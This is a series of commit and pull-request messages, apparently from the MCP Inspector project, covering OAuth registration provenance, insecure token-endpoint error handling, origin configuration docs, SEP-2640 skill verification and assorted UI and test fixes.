React logged `Encountered two children with the same key` on every render, and a filtered-out row survived reconciliation instead of unmounting. This is the resources counterpart of #1957. The row identity is now the same `listRowKey(id, sourceIndex)` the Tools sidebar has used since then, extracted so the two formats cannot drift; `toolRowKey` delegates to it. Applied to all three Resources lists and to `RootsTable`, whose user-maintained list can collect a duplicate URI the same way. Selection stays keyed on the URI, deliberately: unlike a duplicated tool name (#2001), duplicate rows here denote the same resource — a `resources/read` takes the URI — so highlighting both is correct. Only the React key needs to tell them apart. Adds `ServerConfig.duplicateResourceUris` and the `duplicate-resource-uris-http.json` showcase config, the `resources/list` mirror of `duplicateToolNames`, so the defect has a fixture to reproduce it — appended rather than adjacent, for the reason #1957 documented.

Chalk only emits color when it detects a TTY, so CI stays green and the six failures land only on a developer whose shell exports FORCE_COLOR. Add `__tests__/helpers/renderTui.tsx` — ink-testing-library's `render` with `lastFrame()` and `frames` ANSI-stripped — and point all 16 renderer test files at it. `frames` is a getter reading through to the live array, since Ink appends to it as the component re-renders; the raw bytes stay reachable as `stdout.lastFrame()`. Pinning FORCE_COLOR=0 would turn the six green while hiding the class: any future assertion on styled text has the same problem, and the suite would stop covering the styled path at all.

Until now every seeded server was a local stdio process and every remote example in the docs was a placeholder, so trying a remote connection meant finding or standing up a server first. The endpoint is protected by OAuth, but its authorization server advertises Dynamic Client Registration and fronts a *mock* upstream IdP, so the whole round trip completes with no account, no API key and no pre-registered client — which is what makes it viable as a shipped default. Verified end to end against a prod build: the card connects, negotiates MCP 2025-11-25 and lists the reference server's tools. The seed carries no `protocolEra`. That is not a default-by-omission: the server answers the plain `initialize` handshake and rejects `server/discover`, so it has no modern (SEP-2663) era to negotiate — `"auto"` would only buy a failed probe and `"modern"` would fail the connection outright. Docs updated alongside: the seeded-catalog block and per-client table in `docs/mcp-server-configuration.md`, the Streamable HTTP example there (which now leads with the live endpoint and keeps a placeholder to illustrate `headers`), and the seed description in `clients/launcher/README.md`.

The First-run behavior section said the backend writes the seed file "when the backend boots". It does not: the write lives in the `GET /api/servers` handler (`core/mcp/remote/node/server.ts`), so a backend that boots and never serves the list leaves the path untouched. Verified against a prod build with an isolated `MCP_CATALOG_PATH`: after boot + GET / : catalog ABSENT GET /api/servers : 200 after GET /api/servers : catalog EXISTS The section now says so, and picks up two adjacent facts the old wording also left out: the write happens inside the write lock (so a concurrent POST/PUT/DELETE cannot be clobbered), and a read-only `--config` source is never seeded.

On a server whose schemas are broadly unportable that put the same wall of text ahead of every tool's first input — and the findings address the server author, not the caller trying to fill the form. The section now opens collapsed behind the same disclosure heading the Skills pane's Conformance section uses, with an `N error(s), M warning(s)` badge. The expand choice is global rather than per tool (`useSchemaFindingsExpanded`, stored as `inspector.schemaFindings.expanded`): this panel is reused across selections, so a per-tool disclosure would re-collapse on every click and reproduce the same scrolling. The badge stays visible while collapsed and the tool-list severity icon is untouched, so nothing about a tool's standing is hidden by the closed state. Two neighbouring fixes on the same panel: - `JsonEditor` frames Ace in a bordered `Paper`. Ace paints its background edge to edge with nothing around it, so "Edit as JSON" replaced a column of bordered inputs with one borderless slab. - `ToolDetailPanel`'s body `ScrollArea` overrode the app-wide `type="scroll"` default with `type="auto"`, parking a permanent bar down the side of any tool whose form is taller than the panel. `offsetScrollbars` stays, so the form does not shift sideways when the bar fades in. `test-servers/configs/unportable-schemas-many-http.json` reproduces the original complaint: the same four presets as `unportable-schemas-http.json` carrying 26 findings rather than 5.

The SDK reaches it from three places in `auth()` and only one is a dynamic registration, so the issuer-binding write overwrote the `cimd` provenance our own pre-registration had just stored — and Connection Info reported `Dynamic (DCR)` for a connection that never issued a `POST /oauth/register`. Recover the kind instead: a `client_id` equal to the configured `clientMetadataUrl` is CIMD (which also covers the SDK's own CIMD write), and otherwise a stored registration with the same `client_id` carries its recorded kind forward. Matching on `client_id` keeps stale CIMD provenance from leaking onto a later DCR registration for the same server.

Fix it at the source rather than in the resolver. `ensureCimdClientRegistration` now runs discovery first and records the registration against the issuer it just discovered, having confirmed *that* AS advertises `client_id_metadata_document_supported`. Its "already registered?" check moves after discovery and is keyed by that issuer — read ctx-less it resolved through the active issuer and early-returned for every later one, which is what forced the cross-issuer fallback in the first place. `resolveSdkRegistrationKind` is therefore issuer-scoped again, with no fallback. A second AS behind one resource now gets its own determination: CIMD when it advertises CIMD, `dcr` otherwise — including when it mints the metadata URL as its own `client_id`. The cost is a discovery round trip per connect attempt rather than only the first; noted at the call site.

Provenance now lives in `cimdClientMetadataUrl`, an issuer-keyed marker on the issuer slot that records a property of the AS rather than a credential — `clearClientInformation` deliberately leaves it alone. `ensureCimdClientRegistration` writes it, and withdraws it when the AS stops advertising CIMD, on every connect. 2. **Discovery became a hard network dependency.** Moving the existing-client check after discovery meant a well-known outage could fail a reconnect the SDK would have served from its persisted discovery state. Reuse `provider.discoveryState()` first, and treat a discovery failure as "skip pre-registration" rather than an error — this helper is an optimization over what `auth()` does for itself. 3. **Dropped an unjustified double cast** in the test fetch helper; the async signature is directly assignable to `typeof fetch`.

RFC 7591 §3.2 leaves a dynamically issued `client_id` opaque, so an existing DCR may carry the configured metadata URL — and marking the issuer then relabels that real dynamic registration as CIMD on the SDK's next issuer stamp. The marker now records both facts it is read for: that this AS accepts the URL as a `client_id`, *and* that the registration standing for it got there through CIMD. It is written where this helper establishes the registration itself, reaffirmed for one already recorded as `cimd` under that exact URL, and withdrawn otherwise — which also covers a static client and an AS that has stopped advertising CIMD. Covered at both levels: a mocked case asserting the marker is withdrawn for an existing DCR on the same URL, and an end-to-end real-storage case asserting such a registration is still `dcr` after the SDK issuer-stamps it.

SDK v2 `auth()` persists the authorization-server metadata via `saveDiscoveryState` *before* it reads or writes client information, and it takes its URL-based-client-ID branch — rather than `registerClient` — exactly when that metadata advertises `client_id_metadata_document_supported` and a `clientMetadataUrl` is configured. So the branch is not inferred at all now: it is read back from the state the SDK itself just wrote. `resolveSdkRegistrationKind` becomes two cases. A save for an issuer that already has a registration under this `client_id` is a back-stamp, answered by that registration's recorded kind — so an existing DCR on the metadata URL stays `dcr`. A save for an issuer with none is a new registration, answered by the discovery state, guarded on the metadata describing that same issuer. This drops `cimdClientMetadataUrl` and its storage accessors entirely, and restores `ensureCimdClientRegistration` to a plain issuer-bound pre-registration. Invalid-client recovery, second-issuer CIMD, second-issuer DCR minting the metadata URL, and preflight failure are all consequences of the two cases rather than separate mechanisms.

Once the pre-registration started writing the issuer-keyed slot itself, the SDK found an already-stamped credential and never called `saveClientInformation` at all — so the assertion held even with the resolver gutted. Verified: reverting the dispatch to `: "dcr"` left all 34 tests passing. Add a case that seeds the legacy *unkeyed* CIMD registration — what every pre-SEP-2352 install has on disk, and the exact shape #2242 was reported against. The SDK back-stamps it with the issuer, which is the save that used to relabel it `Dynamic (DCR)`, so the resolver is genuinely on the path. That case now fails on both SSE and Streamable HTTP when the dispatch is reverted, which is the reported bug reproduced across the integration boundary.

Since the wrapper does expose `clientMetadataUrl`, an EMA connection can still take SDK `auth()`'s URL-based-client-ID branch — and the inner provider then saw `issuer === undefined` with no discovery state to read back, so the CIMD write was recorded as DCR. Forward `ctx` on both, and delegate the two discovery-state methods to the inner provider. Both were pre-existing SEP-2352 gaps in their own right: dropping the issuer put every EMA read and write on the unkeyed slot, and the missing discovery state meant the SDK re-discovered on every call and warned that it could not run its callback-leg authorization-server binding check.

That button can never work: the SDK's assertSecureTokenEndpoint runs inside executeTokenRequest, the error does not extend OAuthError, and auth() special-cases it to rethrow rather than start a fresh /authorize redirect. Clicking re-ran the same flow to the same refusal, under the raw SDK message, which names the three exempt host literals and nothing actionable. A terminal configuration error was being presented as a retryable auth error. Not specific to *.localhost: it fires for any endpoint outside the SDK's exemption — host.docker.internal (#1911), a LAN hostname, a reverse-proxy name, a mistyped scheme. It is now recognized (core/auth/insecureTokenEndpoint.ts, mirroring issuerBinding.ts's brand-plus-name classifier and walking cause / data.cause, since era negotiation and the transport wrappers bury the rejection) and surfaced as the configuration error it is, naming the endpoint and both ways out, with no action affordance. Six paths reach the refusal and all six classify it — the connect handshake, authenticate() during connect, the satisfied-challenge connect retry, the post-redirect callback, the command/background path, the deferred tab-visible resume (which re-armed on every focus, an unbounded loop on a terminal error), and the banner action. They share one wrapper so a seventh cannot omit the banner clear, and every clear is scoped to its own serverId: these paths are asynchronous, so a late continuation for one server must not erase a banner another raised in the meantime. Adds oauth-insecure-token-endpoint-http.json to reproduce it, whose issuer is http://localhost.:8091 — the root-anchored spelling every resolver sends to loopback but which is none of the SDK's exempt literals. transport.strictPort keeps that fixture honest, since its port is hard-coded inside the issuer. Making such an endpoint work has to land in the SDK (typescript-sdk#2591); this changes the reporting, not the outcome. Split out of #2282, where it was tangled with the *.localhost origin work for #1944 — a separate question the reporter is still clarifying.

A malformed value is ignored rather than surfaced, matching the SDK's own `WWW-Authenticate` parser: discovery falls back to the default locations instead of failing the whole authorization on a bad header.

Plain streamable-HTTP — connect with the **default (legacy)** protocol era. + +⚠️ It sets `transport.strictPort`, so it **fails to start** if 8091 is taken rather than relocating. (`strictPort` is only honorable alongside an HTTP transport and an integer `port` in 1–65535, so `loadConfig` rejects every other combination outright — each of them would otherwise leave a fixture looking strict while relocating anyway.) Every other fixture walks to the next free port on `EADDRINUSE`, which is right for them and wrong for this one: the issuer is a *fixed string* in the config, so a relocated server would announce 8092 while all its OAuth metadata still pointed at whatever unrelated process holds 8091 — and the fixture would quietly stop reproducing the refusal it exists for. A loud failure is the only honest option here. + +The trailing dot is the whole trick, and it is doing real work rather than being a curiosity. `localhost.` is the *root-anchored* spelling of `localhost`: every resolver on the machine sends it to the loopback interface, so the fixture is reachable and the flow runs for real — but the SDK's `assertSecureTokenEndpoint` exempts only the three literals `localhost`, `127.0.0.1` and `::1`, and `localhost.` is none of them. So the credential-carrying request is refused with `InsecureTokenEndpointError` while everything else about the server works. It is the same over-narrow exemption that makes `http://tenant.app.localhost:3300` fail ([#1944](https://github.com/modelcontextprotocol/inspector/issues/1944), [typescript-sdk#2591](https://github.com/modelcontextprotocol/typescript-sdk/issues/2591)), reproducible without a `/etc/hosts` entry or dnsmasq. + +Add the server, click **Connect**, and complete the authorization.

It stays until you close it (`autoClose: false` stops it expiring on a timer; Mantine's own close control still dismisses it, which is what you want for a message you have finished reading). There is deliberately **no** action button. + +Note the second option is phrased as a *spelling* change, not a networking one. `localhost.` already **is** loopback, and so is `tenant.app.localhost`; what they are outside is a three-literal allow-list.

That button could never work: `InsecureTokenEndpointError` does not extend `OAuthError`, and `auth()` special-cases it to rethrow rather than start a fresh `/authorize` redirect, so clicking it re-ran the same flow to the same refusal. The only text on screen was the raw SDK message, which names the three exempt literals and says nothing about which lever to reach for. + +Note that the fix here is presentational only.

That is infrastructure built for a screenshot, so it goes. test-servers/src is now byte-identical to v2/main again. The fixture keeps its fixed port and docs/test-servers.md carries the caveat instead, written to be actionable rather than merely cautionary: the failure mode is confusing rather than obvious, since a relocated server leaves discovery pointing at whatever unrelated process holds 8091, so the note says to check the port before believing what the flow does.

A loud failure is the only honest option here. +⚠️ **Do not run this fixture while port 8091 is already taken.** Like every fixture here it walks to the next free port on `EADDRINUSE` — but its `issuerUrl` is a *fixed string*, so a relocated server announces 8092 while all its OAuth metadata still points at whatever unrelated process holds 8091. The symptom is confusing rather than obvious: discovery reaches the wrong process, and the refusal this fixture exists to demonstrate either never fires or fires for the wrong reason. If the flow does not end at the notice described below, check that 8091 is actually this server (`lsof -nP -iTCP:8091 -sTCP:LISTEN`) before believing anything you see. The trailing dot is the whole trick, and it is doing real work rather than being a curiosity. `localhost.` is the *root-anchored* spelling of `localhost`: every resolver on the machine sends it to the loopback interface, so the fixture is reachable and the flow runs for real — but the SDK's `assertSecureTokenEndpoint` exempts only the three literals `localhost`, `127.0.0.1` and `::1`, and `localhost.` is none of them. So the credential-carrying request is refused with `InsecureTokenEndpointError` while everything else about the server works.

The UI renders that accordion as "OAuth Settings" and the field as "Token URL override" (ServerSettingsForm.tsx), so the message directed people to a section that does not exist, precisely when it was asking them to go reconfigure something. Both pinned by tests, including negative assertions on the old wording so it cannot drift back. The round's third finding was against test-server-http.ts's strictPort precondition, which no longer exists — that option was dropped in 6c1b532, after the review ran.

Raised by the reporter of #1944, whose whole service cluster uses those names. Three things the recipe has to carry, all learned the expensive way: - ALLOWED_ORIGINS REPLACES the default list rather than merging, so an entry of only the proxy origin silently breaks browsing at localhost:PORT. The loopback trio has to be listed too. - The failure is confusing rather than obvious. A same-origin GET carries no Origin header, so the page loads and only the POSTs that add or connect a server are rejected — which reads as a connection problem rather than a configuration one. - Only the browser resolves *.localhost for free. Chrome and Firefox map those names to loopback per RFC 6761; the OS resolver on macOS does not and Safari does not at all, so an MCP *server* on such a host still needs /etc/hosts or dnsmasq — the Node backend is what dials it — and with OAuth is refused by the SDK regardless (typescript-sdk#2591). Documented rather than changing the default: see #2282 for why ~1,100 lines of origin and CSP code was a bad trade for removing one env var.

When left to default on a loopback host, it expands to all three interchangeable loopback origin forms for the port — `http://localhost:PORT`, `http://127.0.0.1:PORT`, and `http://[::1]:PORT` — because `localhost` resolves to either IPv4 or IPv6 loopback and Node/Vite may bind the IPv6 form, so the browser can legitimately arrive at `http://[::1]:PORT`. Set `ALLOWED_ORIGINS` (comma-separated) to override; entries are canonicalized (`new URL(o).origin`), so a trailing slash / uppercase host / explicit `:80` still match. **Each entry must include the scheme** — `http://localhost:6274`, not `localhost:6274` (a scheme-less value is dropped with a warning). `ALLOWED_ORIGINS` **replaces** the default list (it does not merge), so **list every origin you'll browse from, including the loopback forms** you still want (`http://localhost:PORT`, `http://127.0.0.1:PORT`, `http://[::1]:PORT`) — otherwise local access stops working.

A bare IPv6 literal is not a legal URL host — `new URL("http://::1/token")` throws — so anyone copying that into the Token URL override got a parse error from advice meant to unblock them. Now `[::1]`, in both the notice and the manual reproduction guide. The exemption list still reads `::1`, because that is the host the SDK compares; only the remedy is bracketed, because that is what a user types. The comment says so, so neither gets "corrected" into the other. - Dropped SEP-2207 from all nine files it had reached. I took the label from the SDK's own source comments, which attribute this check to it — but this repo already uses SEP-2207 for OIDC refresh / offline_access (specification/v2_auth_hardening.md, plus an e2e test), so grepping it here would have turned up two unrelated things. Replaced with plain description rather than a different SEP number: having guessed wrong once, guessing again is not the fix.

Adding and connecting a server (`POST`) are the most visible, but saving settings, reordering and deleting a server (`PUT`/`DELETE`) fail the same way.

That is fine for reaching the Inspector, but an **MCP server** URL on such a host is dialled by the Inspector's Node backend, so it still needs an `/etc/hosts` entry or dnsmasq. Note also that an MCP server on a `*.localhost` host **using OAuth** is currently refused by the SDK, which exempts only `localhost`, `127.0.0.1` and `::1` from its TLS requirement — see [typescript-sdk#2591](https://github.com/modelcontextprotocol/typescript-sdk/issues/2591). From 8ca00fa2d6b0353b7c69c88c812ea32e819837f6 Mon Sep 17 00:00:00 2001 From: cliffhall Date: Mon, 7 Sep 2026 10:45:26 -0400 Subject: [PATCH 146/174] test: make the not-an-OAuthError test assert its own title (review round 3) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The test was named "is not an OAuthError, which is why the retry path must not claim it" and asserted only `name` and `typeof tokenEndpoint`. Neither touches the OAuth hierarchy, so a future SDK reparenting the class would leave it passing with its title now false — and the comment promising the #2280 handling would be revisited if that changed was hollow. A test that has quietly stopped testing its subject is worse than no test. It now asserts against the hierarchy both ways, `OAuthError.isInstance(err)` and `instanceof`. Verified by mutation rather than assumed: flipping the assertion to simulate the reparenting fails exactly this test and nothing else (1 failed, 15 passed). Also fixes a doubled "terminal terminal", collateral from the round-2 SEP label removal.

That was only true inside useOAuthRecovery. useConnectionLifecycle hand-wrote the notice-plus-scoped-clear pair three times, so the exact failure mode I said was impossible was one careless edit away — in the PR that claimed it. reportTerminalInsecureTokenEndpoint now lives in lib/ and both hooks route through it; zero hand-written pairs remain. It is generic over the banner shape rather than importing ReAuthBannerState, since useOAuthRecovery already imports this module and naming its type would close a cycle. All it needs is a serverId to compare. The helper's header also still said "the three OAuth failure paths". There are seven. Rather than update the count I removed the enumeration and recorded why: a list of callers is a comment that rots on the next round, which is what just happened to it. Also fixes "a /etc/hosts" -> "an /etc/hosts".

Verified, and it is false for half of that: structuredClone(new InsecureTokenEndpointError(url)) -> name: "Error", tokenEndpoint: undefined, constructor: Error structuredClone normalizes a custom Error subclass back to Error, so neither arm has anything left to match. A caller routing this error through structuredClone or postMessage would silently get the generic retryable handling back — the exact defect this PR removes. The test could not have caught it: it hand-built a look-alike plain object, so it asserted what I believed the boundary does rather than what it does. It now performs a real JSON round trip (asserting the prototype is gone), and a second case pins that structuredClone is NOT recognized — turning a false claim into a tested limitation. The doc comment now scopes the contract to JSON and states the structuredClone limit with the remedy: serialize the fields explicitly across such a boundary. Also removes an orphaned JSDoc block the round-4 refactor stranded above the report helper, and gives showInsecureTokenEndpointNotice its own doc back.

There is no panel animation involved: the accordion sets `transitionDuration={0}` because a height animation fights its flex sizing, and App.css restores a transition only for the chevron transform. Read the geometry under `waitFor` so it retries until the panes settle.

The worker starts out of process and debounces its result, so the story already used an explicit `waitFor` — but it asked for 5000ms while the storybook vitest project set no `testTimeout` at all, leaving it on vitest's 5000ms default. The wait could therefore never win: the test was killed at exactly the moment its budget expired, and on a loaded machine that is what happened, reporting `expected 0 to be greater than 0`. Raise the project's `testTimeout` to 15s and the story's own wait to 10s, so the wait has room to report what it actually saw. Neither loosens an assertion — a story that blows 15s has genuinely failed, and a worker that never starts still fails, just later.

Completes SEP-2640 support across all three clients, and closes the one obligation #2234 deliberately left open. - `checkSkillFrontmatterMatch` compares a served SKILL.md's own YAML frontmatter against the entry the listing advertised, field by field. No digest can cover this: a digest is taken over the bytes the server served, so it proves the file was not altered in transit and says nothing about whether the listing described it honestly. Needs a real YAML parser; `yaml` was already a root dependency, so this adds no package — but it does newly put it on core/'s import graph, hence the three bundler `external` lists. - `resources/directory/read`: result schemas defined against the normative text, `InspectorClient.readResourceDirectory`, a Directory section on the Skills screen, and `--method resources/directory/read` in the CLI. The client refuses the call locally when the server did not declare `directoryRead`, which is the SEP's MUST NOT. A child the directory lists but the entry does not is marked `not listed` rather than merged into the manifest — the SEP calls a directory result a live observation and forbids treating it as extending the manifest. - CLI: `skills/list`, `skills/get` and `resources/directory/read`, plus `--verify` — one NDJSON report per skill, a summary on stderr, exit 7 on a violation. Reads are sequential; a conforming manifest may declare 512 entries. - TUI: a Skills pane, shown only when the server declares the extension. Each row carries its conformance verdict as a glyph as well as a colour, since the pane is read over ssh and through script(1). Enter verifies. - `verifySkills` re-throws `AuthRecoveryRequiredError` rather than recording it per file: it says the session's authorization expired, so absorbing it would report N identical read failures and swallow the error the TUI and the web commands key off to reauthorize. Two open questions settled, both in code comments where they will be found: `skills/get` carries no caching attributes because SEP-2640 leaves the question open in as many words, so requiring them would fail a conforming server; and there is no `PagedSkillsState` because every consumer of this list is a whole-catalog verdict — computed over page one of three, "this server's skills conform" is not merely partial but wrong. The fixture grows two skills, both for checks that were otherwise undemonstrable: `lying-listing` (listing and file disagree, digest still verifies) and `stale-manifest` (serves a file its manifest does not declare).

A false pass is worse than a missing check. `contentsFor(result, uri)` now selects by NORMALIZED identity, which keeps the canonicalized-echo case that motivated the original code while rejecting an unrelated block, and reports a read error when nothing answers for the URI. This is what `onReadSkillFile` already did; the two paths hash bytes against digests and must not disagree about which bytes. **`skills/get` was dispatched without the extension gate** that `skills/list` had. Hoisted into `assertSkillsSupported` so the two cannot drift — declaring the extension commits a server to both. Without it, an undeclared server's -32601 is indistinguishable to a script from the -32602 a declared server returns for a URI it does not serve. **The TUI could strand a user on a hidden Skills tab.** The tab left the bar when the gate went false but `activeTab` did not, so the pane kept rendering for a server that never declared the extension. Reset to `info`, following the Auth precedent — additionally gated on `connected`, because this gate reads a server declaration and would otherwise fire during a reconnect. **The TUI keyed a verdict by URI**, so a refresh replacing the manifest under the same URI left hashes computed for the previous snapshot describing the new one. Keyed on the entry now, as the web screen already was. **A failed "Load more" discarded the pages on screen and the retry cursor.** Both are preserved now, and the success and failure paths share one staleness-guarded `commit` helper so they cannot drift on which results they may write — which is how they came to disagree. Two nits: the six-skill counts. The docs sentence was more wrong than reported (five awkward skills of six, three outright violations) and is rewritten rather than renumbered.

All three clients merge it into the entry's own findings, so it carries through the header badge, the CLI report and the TUI row marks with no new surface. **It is a `warning`, not an `error`,** and that is the severity split doing its job. The obligation is on the *consumer*: a server may legitimately publish two skills with the same name under different paths, and the SEP's own `acme/billing/refunds` example is exactly that shape. Calling it an error would tell a conforming author their catalog is invalid. `--verify` therefore still exits 0 for a collision. In the web screen it renders as a banner directly under the Conformance header and is filtered out of the findings list, the same treatment `dynamic-resources` gets: it changes how everything below it should be read, and stating one fact twice reads as two findings. Fixed while adding it: an entry whose only finding was a banner one rendered an EMPTY findings container instead of "no structural issues", because the list's presence was decided on the unfiltered set while its contents were filtered. `listedIssues` is now derived once and used for both. The fixture gains `acme/reports` + `globex/reports`, both fully conforming and sharing the name `reports` — also the only fixture with a multi-segment skill path, which nothing else exercised. Eight skills over four pages now, and the integration test walks the cursor to exhaustion rather than asserting a fixed page count, so a future fixture does not require editing it.

A MUST that quietly did not run. The file is now held as bytes and the text derived from them, which also guarantees the digest and the frontmatter describe one snapshot. **A dynamic skill whose SKILL.md could not be read reported `ok: true`.** It has no manifest rows, so `files` stayed empty, and its only static finding is a warning — a verification that could not be performed was reported as one that passed. The fallback read now records a `read-error` for all three ways it can fail. It is gated on `manifestListsSelf` (by normalized identity) so a self-entry the manifest listed and failed to read is not read, or reported, twice. **A served `.nan` compared equal to a listed `null`.** YAML expresses non-finite numbers, JSON does not, and `JSON.stringify` turns all of them into `null` — so the canonical comparison reported a real mismatch as agreement. Verified against the parser before fixing. They now canonicalize to a form no JSON scalar can equal, and the value is named in the finding. Also: the self-entry match is by normalized identity rather than raw string, which stops a second read and stops this function disagreeing with `checkSkillConformance`; and `SkillsTab.tsx` gains the file header AGENTS.md requires. The four `err instanceof Error` ternaries are one `reasonOf` helper now — extracted because the coverage gate found every one of their non-Error arms uncovered, and one honestly-tested branch beats four ignores.

Same problem, and the same resolution, as the web screen's "No structural issues". **The test-server guide claimed every result carries the full modern envelope**, which the new directory handler made untrue: `readDirectoryPage` deliberately emits `resultType` alone, because SEP-2640 states the caching attributes for a modern `skills/list` and says nothing of the kind here, and its one worked example carries `resultType` only. The claim is narrowed to the two `skills/*` results and the exception is documented as the deliberate choice it is.

Two were visible in a terminal capture I had already taken and read past. **A digest mismatch rendered with no digests.** `verifySkillResource` sets `reason` for a SIZE mismatch — which short-circuits before hashing — while a digest mismatch carries `expectedDigest` / `actualDigest` and no `reason`, so the TUI printed a bare `✗ notes.md` with nothing to act on. `failureDetail` now falls back to the expected/actual pair, truncated to fit the pane. **A dynamic skill's read failure rendered nowhere.** Its synthetic `read-error` row lives in the report, not the manifest, and the manifest is empty for such a skill by definition — so the pane said only "Verification FAILED". There is a Read failures block for any report file the manifest does not cover, matched on normalized identity. **The non-finite sentinel could be aliased.** A listing whose value genuinely was `{"#non-finite":"NaN"}` canonicalized identically to a served `.nan`, so the round-3 fix moved the bug rather than closing it. Any encoding into the value space can be aliased by a document containing the encoding, so the comparison is structural now (`jsonLikeEqual`) and there is no sentinel at all; `Object.is` gives NaN === NaN while keeping ±Infinity distinct. Serialization is used only for the message. **`parseSkillFrontmatter("null")` returned `{ fields: {} }`,** contradicting its own non-mapping contract: an explicit null scalar parses to exactly what an empty block does. They are told apart by the source, since the parsed value cannot. Also: the `files` doc comment still claimed it is empty for a dynamic skill, which the round-2 fix made untrue; and three inline Mantine elements with two static styling props each are extracted to `.withProps()` constants, per the convention the rest of the file follows.

Verified before fixing: it really did raise `RangeError: Maximum call stack size exceeded`. Rejected at the parse, so no consumer has to be cycle-safe on its own, and it becomes an ordinary `frontmatter-unparsable` finding. Detection is per-PATH rather than per-graph — `seen` unwinds on the way back up — so an alias reused across siblings, which is ordinary YAML and represents fine in JSON, is not mistaken for a cycle. A depth bound closes the same hole by its other door: a legal, acyclic but absurdly nested document exhausts the stack just as well, and a cycle check alone passes it. **The web frontmatter check was gated on the presentation MIME.** It ran off `previewParts`, which exists only when the displayed type is recognized as markdown — so a `SKILL.md` a server typed `text/plain`, or served as a base64 blob, skipped a mandatory comparison while the pane still read as clean. It now decodes the same fetched bytes the digest is taken over, which also stops the two answers describing different derivations of the payload.

The code contradicted a comment two lines above it saying a CLI whose contract is "print the result" must not reshape one. `getSkillResult` returns the envelope whole; `getSkill` is a one-line unwrap over it, which matches the callers: the UIs want the entry, the CLI wants the result. **The frontmatter verdict and the digest came from different reads.** The preview fetch and the Verify fetch are separate `resources/read` calls, so a resource changing between them could pair a verified digest with a frontmatter verdict for other bytes. `VerificationState.entryText` now holds the SKILL.md as the verification read it, written in the SAME state update as the verdict — a separate write was clobbered, because `write` returns a fresh object and drops anything not named in it. The preview stays the fallback so a reader who has not clicked Verify still gets the check. **The Conformance badge excluded the frontmatter findings** it renders, so it said `0 error(s)` above a red mismatch. Digest and size mismatches stay in their own badge: "the listing is wrong" and "the bytes are wrong" are different answers. **A repeated skill URI collided two React keys** in the TUI list, in a pane whose job is to show both entries. Index-keyed like the manifest rows. The web fixture also gains its collision pair in the served-file lookup — without it they were handed another skill's SKILL.md, which the badge fix correctly began reporting as a frontmatter error.

Reproduced first: 60,000 levels against a shallow served value gives `RangeError: Maximum call stack size exceeded`. `jsonGraphError` is shared now and runs over `entry.frontmatter` before the file is parsed — there is no point reading a SKILL.md if the thing to compare it against is unusable. **A frontmatter mismatch stayed behind a collapsed section.** Round 7 made the badge count these findings; the alerts explaining a mandatory verification failure were still one click away on a section that opens collapsed for a structurally clean entry. Conformance now reveals itself when they appear, keyed on the entry so it fires once rather than fighting a user who collapses it again. That reveal exposed three fixtures serving one skill's SKILL.md for every URI — a genuine frontmatter mismatch the check was right to report. The stale- batch invariant test and the Storybook fixtures now derive each file from the frontmatter its own entry advertises, with digests computed from those bytes rather than hard-coded, so the class of drift is closed rather than the instances patched. `SAMPLE_FM` is the single source for both halves. One story subtlety worth recording: only a skill's OWN SKILL.md is derived. Serving it for `notes.md` too made the tampered fixture fail its SIZE check first, which is a different finding from the digest mismatch that story exists to demonstrate.

Capped at `SKILL_MAX_RESOURCE_ENTRIES`, with the finding still reported so bounding the work does not silence the reason it was unnecessary. `manifestListsSelf` is computed over the READ slice, so a self-entry pushed past the cap still reaches the fallback: the frontmatter comparison is mandatory and must not be lost to a limit that bounds other files. **A malformed skill URI still produced a directory root.** `skillUriIdentity` falls back to the raw string, so `not a uri/SKILL.md` yielded the root `not a uri` and enabled the Directory section — letting the UI build a request from a URI the conformance checks had already rejected. The comment above it claimed otherwise. `normalizeSkillUri` now, with the rule written down: identity is for COMPARING two spellings, not for deciding a URI is well-formed enough to build a request from. The existing regression test passed against a weaker input that failed for lacking the suffix and never reached the fallback; it is a table of three shapes now. **The test-server guide overstated its own coverage,** claiming four of the five conformance scenarios map onto fixtures. Three do: there is no size-mismatch fixture, because the fixture can override an advertised digest and nothing else, so that path is covered by unit tests. Corrected, with what adding one would take.

JSON does not distinguish them, so neither may this: `===` for finite numbers, `Object.is` kept only for the non-finite cases it was introduced for. **Browsing a supporting file erased an observed failure.** The frontmatter check ran off whatever the viewer was showing, so opening a second file made `showingSkillMd` false and dropped the finding and its error count, with the skill unchanged. The entry's text is skill-scoped now, written by whichever read produces it first — the on-selection preview or a verification — and invalidated only with `manifestKey`. That also subsumes the earlier same-fetch requirement rather than sitting beside it. **Declined: the second stderr line on exit 7.** `--verify` writes its summary and then the ordinary `ErrorEnvelope` that EVERY non-zero exit writes, which is the documented contract and exactly what `--strict` does. Suppressing it would make this one command's failure output unparseable by a caller branching on `.code`. What was wrong is the README, which implied stderr carries only the summary; it now states both lines and why.

Sizes are summed exactly as `totalSkillBytes` sums them, so the bound and the finding that reports the overage cannot disagree about the total. A read is skipped only when the running total would CROSS the limit, so a conforming skill — at most 16 MiB by definition — is never truncated; there is a test for that, because a bound that protected against a hostile server by giving a wrong answer about a good one would be a poor trade. The self-file fallback still applies, so the mandatory frontmatter check survives either cap. **The `vitest.shared.mts` pin rationale had gone stale.** It said `yaml` is reached only through `test-servers/src`, which this PR made untrue by importing it from `core/mcp/skillFile.ts`. That comment is what a future dependency-placement change would read before removing or reclassifying the pin, so it now names the `core/` path and the bundler `external` lists that follow from it.

That trades a denial of service for a wrong answer, which is the failure this whole PR argues against. A truncated read is now recorded as `incomplete` and forces `ok: false`, reported separately so a consumer can tell "this skill is wrong" from "this skill was not fully checked". And a self entry excluded by the cap is now verified against its declared digest, not merely read for frontmatter — otherwise the skill's own SKILL.md was the one file nobody checked. **`entryKey` could crash the TUI.** It called `JSON.stringify` on the whole server-controlled entry, during render. `skillEntryKey` is decided by the same `jsonGraphError` guard that bounds the frontmatter comparison, with a coarse fallback that still separates two unrepresentable entries by URI — collapsing them would show one skill's verdict under another's name. **The tab bar wraps and `tabsHeight` was hard-coded to 1.** An OAuth-capable stdio server serving Skills needs ~107 columns, so it wraps at 132 as well as at 80, and every pane below was sized a row too tall. `tabBarRows` derives it from the same list `Tabs` renders, via a shared `visibleTabs(flags)` — the duplicated filter being how the two would drift apart again. Nine tests in a new `tabsConfig.test.ts`, including the 80-column regression. Two assert properties rather than instances: rows never decrease as the terminal narrows, and a tab wider than the row gets its own rather than looping.

